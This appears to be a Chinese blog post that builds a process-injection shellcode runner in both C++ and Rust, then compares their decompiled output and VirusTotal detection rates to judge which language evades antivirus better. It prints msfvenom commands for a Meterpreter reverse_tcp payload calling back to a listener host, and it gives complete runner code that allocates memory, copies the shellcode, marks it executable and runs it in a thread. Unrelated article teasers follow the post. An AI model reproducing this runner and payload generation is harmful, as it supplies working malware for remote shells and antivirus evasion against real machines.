Malware Dev 00 - Rust vs C++ 初探
写在最前
如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:
https://discord.gg/9XvvuFq9Wb
我会提供备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~
背景
最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的,想着动手实验一下,看下 Rust 是否在 Malware 编写方面会比 C/C++ 更有优势。
本文将分别使用 C++ 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件,看一下反编译的结果。最后,我们看一下 VirusTotal 对于两个文件的检测,对比一下目前为止哪个语言的免杀效果相对优秀(由于是 shellcode runner 实属裸奔,没用任何绕过技巧,被查杀是肯定的)。
为什么选择 Rust
这里是 Rust 语言的一些特性。
- Rust 速度快,跟 C/C++ 不相上下;
- Rust 拥有优秀的依赖解决方案,cargo;
- Rust 基于 LLVM,内部的复杂性有利于其躲避防御机制的检测;
- Rust 拥有活跃的社区支持,因此,各种问题基本都能得到解决;
- Rust 跨平台;
正是因为这些特性,Rust 被武器化,在网络安全进攻端,展现出了一定的实力。
测试环境
Windows
shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。
C++ 编译使用 Visual Studio 2022。
Rust 使用官网最新版本 cargo。
Linux
另一台 Kali Linux 机器,作 shellcode 生成和 shell 接收。
Rust vs C++
进入正题,分别使用 C++ 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。
C++ Process Injection Shellcode Runner
创建一个 C++ 工程。
生成一份 shellcode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f c
复制 shellcode 到代码。
代码常规套路,四步走,分配内存,拷贝 shellcode,设置内存可执行,创建线程并执行。
#include <windows.h>int main(void) {LPVOID lpAddress;HANDLE tHandle;DWORD oldProtect = 0;unsigned char payload[] = { shellcode_here };SIZE_T payload_size = sizeof(payload);lpAddress = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(lpAddress, payload, payload_size);if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, &oldProtect)){tHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);WaitForSingleObject(tHandle, (DWORD)-1);}return 0;
}
注意这里要使用 Release 编译。
编译之后执行。
Kali 拿到 shell。
接下来编译一个 Rust 版本的,代码逻辑一致。
Rust Process Injection Shellcode Runner
Rust 需安装。官网下载安装包 安装即可。
第一次接触 Rust,给出一下编译步骤。
首先在当前文件夹下创建一个 Rust 工程。
cargo new shell_rust
接着生成一段 shellcode。用 csharp 格式的就行。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f csharp
然后进入工程中的 src 文件夹,编辑 main.rs 文件,使用如下代码,使用生成的 shellcode。
use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;type DWORD = u32;//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRustfn main(){create_thread()
}fn create_thread() {let payload: [u8;shellcode_length_here] = [ shellcode_here ];// allocate base addr as RWunsafe{let base_addr = kernel32::VirtualAlloc(ptr::null_mut(),payload.len().try_into().unwrap(),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if base_addr.is_null() { println!("[-] Couldn't allocate memory to current proc.")}std::ptr::copy(payload.as_ptr() as _, base_addr, payload.len());let mut old_protect: DWORD = PAGE_READWRITE;let mem_protect = kernel32::VirtualProtect (base_addr,payload.len() as u64,PAGE_EXECUTE_READ,&mut old_protect);if mem_protect == 0 {let error = errhandlingapi::GetLastError();println!("[-] Error: {}", error.to_string());process::exit(0x0100);}let mut tid = 0;let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };let h_thread = processthreadsapi::CreateThread(ptr::null_mut(),0,Some(ep),ptr::null_mut(),0,&mut tid);if h_thread.is_null() {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}let status = WaitForSingleObject(h_thread, winbase::INFINITE);if status != 0 {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}}
}
添加依赖。
cargo add winapi kernel32-sys
查看 Cargo.toml 文件如下。
不过此时编译还是会报错。
还得增加 winapi 下的 features 才能正常编译。
再次编译 Release 版本。
cargo build --release
编译成功。
在 shell_rust/target/release 文件夹下找到 exe 文件。
运行。
Kali 拿到 shell。
至此,两个 shellcode runner 编译完成。
反编译比较
将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。
C++ Decompile
C++ 经过反编译得到了至多 1453 行代码(Ghidra)。
并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。
VirtualAlloc
VirtualProtect
CreateThread
WaitForSingleObject
接下来看下 Rust 的表现。
Rust Decompile
但从编译时间的角度来看,有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K+ 行代码。
再查找一下敏感 API,还是可以被找到。这里与原文有些不符。原文指出,只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。
VT 查杀结果
Rust 结果 18/62。
C++ 结果 28/62。
总结
目前为止,裸奔 Rust Payload 比 C++ 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。
参考链接
- https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++
- https://doc.rust-lang.org/book/ch01-03-hello-cargo.html
- https://github.com/trickster0/OffensiveRust
- https://doc.rust-lang.org/cargo/guide/dependencies.html
- https://doc.rust-lang.org/cargo/reference/profiles.html#opt-level
- https://doc.rust-lang.org/cargo/reference/config.html#buildrustc
- https://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate
相关文章:

Malware Dev 00 - Rust vs C++ 初探
写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里: https://discord.gg/9XvvuFq9Wb我会提供备考过程中尽可能多的帮助,并分享学习和实践过程…...

JavaScript HTML DOM 事件
文章目录JavaScript HTML DOM 事件对事件做出反应HTML 事件属性使用 HTML DOM 来分配事件onload 和 onunload 事件onchange 事件onmouseover 和 onmouseout 事件onmousedown、onmouseup 以及 onclick 事件JavaScript HTML DOM 事件 HTML DOM 使 JavaScript 有能力对 HTML 事件做…...

推荐算法——NCF知识总结代码实现
NCF知识总结代码实现1. NeuralCF 模型的结构1.1 回顾CF和MF1.2 NCF 模型结构1.3 NeuralCF 模型的扩展---双塔模型2. NCF代码实现2.1 tensorflow2.2 pytorchNeuralCF:如何用深度学习改造协同过滤? 随着技术的发展,协同过滤相比深度学习模型的…...

redis(4)String字符串
前言 Redis中有5大数据类型,分别是字符串String、列表List、集合Set、哈希Hash、有序集合Zset,本篇介绍Redis的字符串String Redis字符串 String是Redis最基本的类型,你可以理解成与Memcached一模一样的类型,一个key对应一个value…...
session一致性问题
在http访问请求中,web服务器会自动为同一个浏览器的访问用户自动创建唯一的session,提供数据存储功能。最常见的,会把用户的登录信息、用户信息存储在session中,以保持登录状态。只要用户不重启浏览器,每次http短连接请…...

上岸16K,薪资翻倍,在华为外包做测试是一种什么样的体验····
现在回过头看当初的决定,还是正确的,自己转行成功,现在进入了华为外包测试岗,脱离了工厂生活,薪资也翻了一倍不止。 我17年毕业于一个普通二本学校,电子信息工程学院,是一个很不出名的小本科。…...

django项目中如何添加自定义的django command
项目目录 1.我们自己建立的application叫做app,首先在这个app目录下,我们需要新建management目录,这个目录里应该包括:__ init__.py(内容为空,用于打包)和commands目录,然后在comma…...
【算法基础】哈希表⭐⭐⭐
一、哈希表 散列表(Hash table,也叫哈希表),是根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映射函数叫做散列函数,存放记录的数组叫做散列表。 给定表M,存在函数f(key),对任意…...
基于SpringMVC、Spring、MyBatis开发的校园点餐系统
文章目录 项目介绍主要功能截图:后台登录用户管理商品管理评论管理订单管理角色管理咨询管理前台前台首页我的订单商品详情支付方式选择支付成功页面部分代码展示设计总结项目获取方式🍅 作者主页:Java韩立 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题…...

LeetCode 热题 C++ 148. 排序链表 152. 乘积最大子数组 160. 相交链表
力扣148 给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 示例 1: 输入:head [4,2,1,3] 输出:[1,2,3,4]示例 2: 输入:head [-1,5,3,4,0] 输出:[-1,0,3,4,5]示例 3&#x…...

JavaScript 基础【快速掌握知识点】
目录 为什么要学JavaScript? 什么是JavaScript 特点: 组成: JavaScript的基本结构 基本结构 内部引用 外部引用 console对象进行输出 JavaScript核心语法 1、变量声明 2、数据类型 3、运算符 4、条件语句 5、循环语句 6、数组 7…...

基于Frenet优化轨迹的⾃动驾驶动作规划⽅法
动作规划(Motion Control)在⾃动驾驶汽⻋规划模块的最底层,它负责根据当前配置和⽬标配置⽣成⼀序列的动作,本⽂介绍⼀种基于Frenet坐标系的优化轨迹动作规划⽅法,该⽅法在⾼速情况下的ACC辅助驾驶和⽆⼈驾驶都具有较强…...

Spring(入门)
1. 什么是spring,它能够做什么?2. 什么是控制反转(或依赖注入)3. AOP的关键概念4. 示例 4.1 创建工程4.2 pom文件4.3 spring配置文件4.4 示例代码 4.4.1 示例14.4.2 示例2 (abstract,parent示例)4.4.3 使用有参数构造方法创建jav…...
2023-02-25力扣每日一题
链接: https://leetcode.cn/problems/minimum-swaps-to-make-strings-equal/ 题意: 给定字符串s1,s2,仅由x,y组成 每次可以在两边各挑一个字符交换 求让s1等于s2的最小步骤 解: 1000啊1000,双指针贪一下就过了 …...

如何外网登录管理云通信短信网关平台?——快解析映射方案
云通信(Cloud Communications )是基于云计算商业模式应用的通信平台服务,简单易用,满足企业一键群发场景,支持多种语言SDK和API 接入。各个通信平台软件都集中在云端,且互通兼容,用户只要登录云通信平台,不…...

学习 Python 之 Pygame 开发魂斗罗(三)
学习 Python 之 Pygame 开发魂斗罗(三)继续编写魂斗罗1. 角色站立2. 角色移动3. 角色跳跃4. 角色下落继续编写魂斗罗 在上次的博客学习 Python 之 Pygame 开发魂斗罗(二)中,我们完成了角色的创建和更新,现…...

【华为OD机试模拟题】用 C++ 实现 - 最多获得的短信条数(2023.Q1)
最近更新的博客 【华为OD机试模拟题】用 C++ 实现 - 分积木(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - 吃火锅(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - RSA 加密算法(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - 构成的正方形数量(2023.Q1) 【华为OD机试模拟…...
linux系统加exfat驱动
u盘假如是fat格式不支持大于4G文件,所以一般u盘用exfat格式,兼容性更好 有的老linux没支持exfat格式,那就自己装个驱动吧 sudo apt-get install exfat-fuse exfat-utils 有一台fedora27需要yum安装,国外源比较慢,改…...

3,预初始化(一)(大象无形9.2)
正如书中所说,预初始化流程由FEngineLoop::PreInit()所实现 主要处理流程 1,设置路径:当前程序路径,当前工作目录路径,游戏的工程路径 2,设置标准输出:设置GLog系统输出的设备,是输出到命令行…...
【PAT甲级题解记录】1013 Battle Over Cities (25 分)
【PAT甲级题解记录】1013 Battle Over Cities (25 分) 前言 Problem:1013 Battle Over Cities (25 分) Tags:DFS 连通图 Difficulty:剧情模式 想流点汗 想流点血 死而无憾 Address:1013 Battle Over Cities (25 分) 问题描述 给…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...

【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
MVC 数据库
MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...
【HTTP三个基础问题】
面试官您好!HTTP是超文本传输协议,是互联网上客户端和服务器之间传输超文本数据(比如文字、图片、音频、视频等)的核心协议,当前互联网应用最广泛的版本是HTTP1.1,它基于经典的C/S模型,也就是客…...
4. TypeScript 类型推断与类型组合
一、类型推断 (一) 什么是类型推断 TypeScript 的类型推断会根据变量、函数返回值、对象和数组的赋值和使用方式,自动确定它们的类型。 这一特性减少了显式类型注解的需要,在保持类型安全的同时简化了代码。通过分析上下文和初始值,TypeSc…...
c# 局部函数 定义、功能与示例
C# 局部函数:定义、功能与示例 1. 定义与功能 局部函数(Local Function)是嵌套在另一个方法内部的私有方法,仅在包含它的方法内可见。 • 作用:封装仅用于当前方法的逻辑,避免污染类作用域,提升…...

Ubuntu系统多网卡多相机IP设置方法
目录 1、硬件情况 2、如何设置网卡和相机IP 2.1 万兆网卡连接交换机,交换机再连相机 2.1.1 网卡设置 2.1.2 相机设置 2.3 万兆网卡直连相机 1、硬件情况 2个网卡n个相机 电脑系统信息,系统版本:Ubuntu22.04.5 LTS;内核版本…...

VisualXML全新升级 | 新增数据库编辑功能
VisualXML是一个功能强大的网络总线设计工具,专注于简化汽车电子系统中复杂的网络数据设计操作。它支持多种主流总线网络格式的数据编辑(如DBC、LDF、ARXML、HEX等),并能够基于Excel表格的方式生成和转换多种数据库文件。由此&…...

快速排序算法改进:随机快排-荷兰国旗划分详解
随机快速排序-荷兰国旗划分算法详解 一、基础知识回顾1.1 快速排序简介1.2 荷兰国旗问题 二、随机快排 - 荷兰国旗划分原理2.1 随机化枢轴选择2.2 荷兰国旗划分过程2.3 结合随机快排与荷兰国旗划分 三、代码实现3.1 Python实现3.2 Java实现3.3 C实现 四、性能分析4.1 时间复杂度…...